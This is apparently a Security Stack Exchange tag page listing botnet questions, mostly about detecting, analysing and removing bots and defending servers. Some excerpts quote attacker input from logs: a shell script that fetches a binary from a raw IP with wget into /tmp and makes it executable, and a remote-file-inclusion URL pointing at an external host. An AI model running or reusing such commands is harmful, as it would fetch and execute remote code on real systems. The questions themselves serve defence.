A botnet is a collection of computers that are under the control of a person or group, usually facilitated by malware. These computers are often used to take part in DDoS attacks and spamming.

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Limitations of botnets [on hold]

My question is very closely related to this question but I didn't find my answer there. Specifically, I'm interested in whether the C2 server can modify aspects/properties of the malware and, if so, ...
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60 views

Attack using weird characters followed by some javascript in a URL?

I'm seeing a very weird attack this morning from a pile of VPS instances spread out across the US. The URLs look like this: /js/bundles/,!0):this.element.propAttr( ...
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64 views

Can a botnet be used to effectively break encryption keys?

Can a botnet amass and coordinate enough computing power to break encryption keys that are typically considered to be secure (through brute force)? If this is the case, do we need to make our ...
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1answer
80 views

distinguish between bots and legitimate clients [closed]

If an attack (DoS & DDoS) involves thousands of bots, how can the server distinguish them from legitimate clients?
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3answers
102 views

Specific Dangers in Joining a Linux Botnet?

Between the PHP-as-cgi-bin problem, and shellshock, I've seen 4 or 5 different Perl scripts that, when run, purport to make your machine part of some scary, heinous botnet. What, specifically, would ...
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How do I know if my computer is being used for a botnet-based DDoS attack?

A botnet is a collection of compromised computers, each of which is known as a 'bot', connected to the Internet. When a computer is compromised by an attacker, there is often code within the ...
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4answers
142 views

Is there any defense against Brute-Force done on a local encrypted file?

Let me start off by saying I don't know very much about encryption, hashing, cracking, etc. I'm just a typical computer enthusiasts, programmer and researcher with many questions. So, I've discovered ...
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1answer
65 views

botnets Domain names List [closed]

how I can obtain the latest list of the latest revealed botnets domain list I am looking for the DGA-based botnet in particular I want to collect 1000,000 generated domain list to seed them to my ...
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2answers
102 views

How to get rid of an Ad bot?

The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by ...
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How to identify and analyze malware that checks for security tools before running?

I've been reading about the ZeroAccess and looking into some bot's code source* and I found this piece of code which checks if filemon is running in the infected computer before running the bot. ...
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1answer
84 views

What are the zombie's features under the control of hackers? [closed]

Zombies are used to to trigger denial of service attacks, spamming and so on. I wonder what type of control the miscreants use to control a remote computer using a virus/trojan ?I ask this question in ...
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1answer
252 views

How do botnets deliver spam? [closed]

I can't seem to find the answer to this question. I read that botnet bots are used as email relays (they have smtp servers installed). Wikipedia on Open mail relay: "(...)Internet initiatives to ...
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How to detect the so-called “undetectable” Gameover Zeus?

The media are currently (and have been) creating a huge ruckus surrounding the supposedly "undetectable" Gameover Zeus malware. The Daily Mail The Mirror The Independant PC World The Telegraph ...
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Malicious capabilities of Social Botnets

A fairly new concept in Malware, especially in the case of botnets, is the emergence of social botnets. These botnets are comprised of accounts (either a newly created account or an existing hijacked ...
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1answer
132 views

compromising DVRs to become bitcoin mining bot [duplicate]

I read this article, about an exploit which highjacks a DVR to become a "bitcoin mining bot". The heart of the attack is to send a binary using just echo comands to the device, which acts as a ...
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I have discovered a botnet during testing [closed]

Whilst testing a server I discovered a botnet. I have the executable downloaded to the server and decompiled the file to get the strings from it. My question is what would the next logical step be ...
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1answer
63 views

Botnet fingerprinting

Does anyone know of any research of papers on fingerprinting botnets? If a given target is being brute forced or DDoSed do methods exist to determine if a brute force or DDoS on another target are ...
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0answers
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What are the fields needed to check for SQLI, XSS, XSRF and Remote file inclusion attacks in apache access log file [duplicate]

I need to identify the SQLI, DoS, XSS attacks from log file. At which field these attacks will reflect in log file. Please suggest me some idea and send materials to me.
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2answers
181 views

How do bots communicate in the zeus botnet?

I read on http://www.abuse.ch/?p=3499 that: ZeuS is now using an “IP list” which contains the IP addresses of other drones participating in the P2P botnet. An initial list of IP addresses is hardcoded ...
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What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
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1answer
305 views

Would using Google reCAPTCHA allow Google to cheat?

Wanting to go a step further into reducing the attacking surface from my "register new user" form I think on using reCAPTCHA (the one Google offers). Having bots sorted out from being able to ...
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4answers
2k views

What are spambots doing with unintelligible login attempts?

After constantly being under attack in phpBB, I created a new forum by hand, which successfully prevents spam bots from registering, and I get a report for every failed login attempt, telling me the ...
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3answers
997 views

How to check if URL/ IP belongs to a zeus bot

I have a set of URL's which might be Zeus hosts / C&C servers since my security appliance says so. Is there a way to check if these really belong to Zeus?
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2answers
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What could be the reason for the high traffic on the local network? [closed]

In our small company we have very high traffic outbound from local network to server which is getting blocked, and slow downs our server respond time. Especially at night. I am not security ...
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1answer
164 views

Zeus for iOS devices

Is there a known variant of Zeus which attacks iOS based mobile devices? I have read about versions for Android and Symbian , wondering if iOS is vulnerable to it as well.
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BOTs C&C channels

Can someone please explain the C&C for bots ? im reading a paper about Android bot , and its explaining something called URL flux as method of C&C . however i couldn't really get it , so ...
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1answer
464 views

I got a python script decrypted out of a pcap from a botnet [closed]

I got a python script decrypted out of a pcap file it's communication from a botnet (proberbly the c&c) but when i start the script i ain't getting login or passwords. What does this script do? ...
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1answer
149 views

After having confirmed a computer is infected by a Botnet.

And having found a server IP that is controlling it. How can I find out the log-in credentials this client uses to log in to a IRC channel / server webpage / control panel. I have found out a python ...
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1answer
90 views

Risks and prevention methods associated with flagging or downvoting?

Similar to bots posting spam posts and blogs is it possible that bots with legible registered accounts go around the site flagging or downvoting everything on the site. If yes, what can I do to ...
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140 views

Botnet callback patterns

I am trying to understand the network behavior of bots. Are there any identifiable characteristics of callback requests from the bot to the C&C server which differentiates it from normal traffic? ...
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4answers
3k views

Block all BotNets and TOR addresses from accessing our site

I've heard that many DOS attacks and general "black hat hacking" attempts occur over the TOR network. Is it possible for me to dynamically block source IP's by their presence in a BotNet or similar ...
2
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1answer
92 views

finding bot generated traffic through object requested behavior

I have network traffic details, which consist of client IPs accessing a web server. Alongwith that I have the session ids through which the client IPs access the web server. In the session details I ...
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4answers
271 views

What can a zombie computer feasibly install and run?

I'm experimenting with a Proof of Work system that tries to force the use of a browser in order to solve the client puzzle. Basically, instead of just handing off the puzzle as hash with a well known ...
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4answers
869 views

How can I block bots that consistently hit the same URLs?

I am getting slammed hard by bots, and I am not sure how to stop them without blocking my legitimate traffic. I created some iptables rules that say, if X connections in X seconds, block, but that ...
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Why do botnets use IRC but not a web service for communication?

IRC seems still the most prominent way for communication within botnets. Why do attackers choose IRC? In my (very naive) opinion, to set up a web service is far more easier.
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1answer
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Can you get rid of the ZeroAccess botnet without a complete reinstall? [duplicate]

I'm interested in the recommended course of action for when you find a (Windows) system infected with the ZeroAccess botnet. I've seen various blog posts online recommending that the user download ...
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1answer
646 views

Orbit Downloader botnet program removal [solved]

Recently (shortly after midnight on 10/8/2013) I installed and ran Orbit Downloader. After learning that the latest version (4.1.1.8) has a botnet-like module included I immediately stopped the ...
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How does the Mega-D BotNet send spam?

I have just been reading an report that analyzed the Mega-D Botnet, but what I haven't fully understood is how they are used to send spam? What email address is the mail sent from? Does each bot ...
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3answers
332 views

How could an iPhone be transmitting abnormal loads of data without apparently running anything?

My iPhone has sent/received 900MB in 15 days from "com.busuu.japanese.a" I got this information from Onavo, which 'compresses' my data. I have never heard of Busuu until today. It is a language ...
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Publicly available Botnet Traffic dataset

Is there any publicly data set on botnet traffic for machine learning purposes. i.e traffic set for both bad and good bots
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6answers
653 views

Bot detecting by considering request inter-arrival time

If there are some chances to detect a bot by considering the users page viewing time, is it possible to measure this time? When a user request for a page (page request), browser request for several ...
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What are other channels Botnets can use for command and control except IRC

What command and control channels might a botnet use? Which would be most effective? I found good info on IRC, what are other possibilities? (Exam preparation - no harm intended :-) )
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How to identify the Java program that is maliciously accessing my web site from many client addresses?

For many years, my personal web site receives numerous pairs of hits that look like this, every day: 202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04" ...
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Is zeus trojan really harmless?

I am confused by this page http://www.wiki-security.com/wiki/Parasite/ZeusTrojan/ I was searching info on google as I read warning article about the fact it was very sophisticated bot that steals ...
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3answers
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How similar are bots regarding their HTTP GET request?

Lets assume a botnet is attacking a website by HTTP GET flooding. To find the bots, the only way seems to be finding the similarities of the HTTP GET requests considering the URL and header fields, ...
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367 views

Can botnets be injected through open wifi to smartphones?

I have read this paper, which is answers part of the question. It answers, 'open wifi will help increase the spread speed and impact' but what I want to know is, can you 'plant' an open wifi access ...
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How can I tell whether this computer is part of a botnet?

One of the computers that I manage (in the family, not business) has a weird set of files in its boot: bash.exe, curl.exe, uname.exe, sed.exe, rm.exe, tail.exe, cut.exe, awk.exe, cat.exe, chmod.exe, ...
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284 views

Understanding what bot was used for a Botnet attack

Yesterday we got to know of a massive brute force attack on WordPress admin accounts targeting weak passwords. From an online source: A botnet using more than 90,000 IP addresses to crack ...
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Botnet Attempting to Login to Website

Our server has recently become a target of what appears to be a botnet attack. The first indication was an insane amount of traffic to one of our client's websites - so heavy that the server entirely ...
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Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...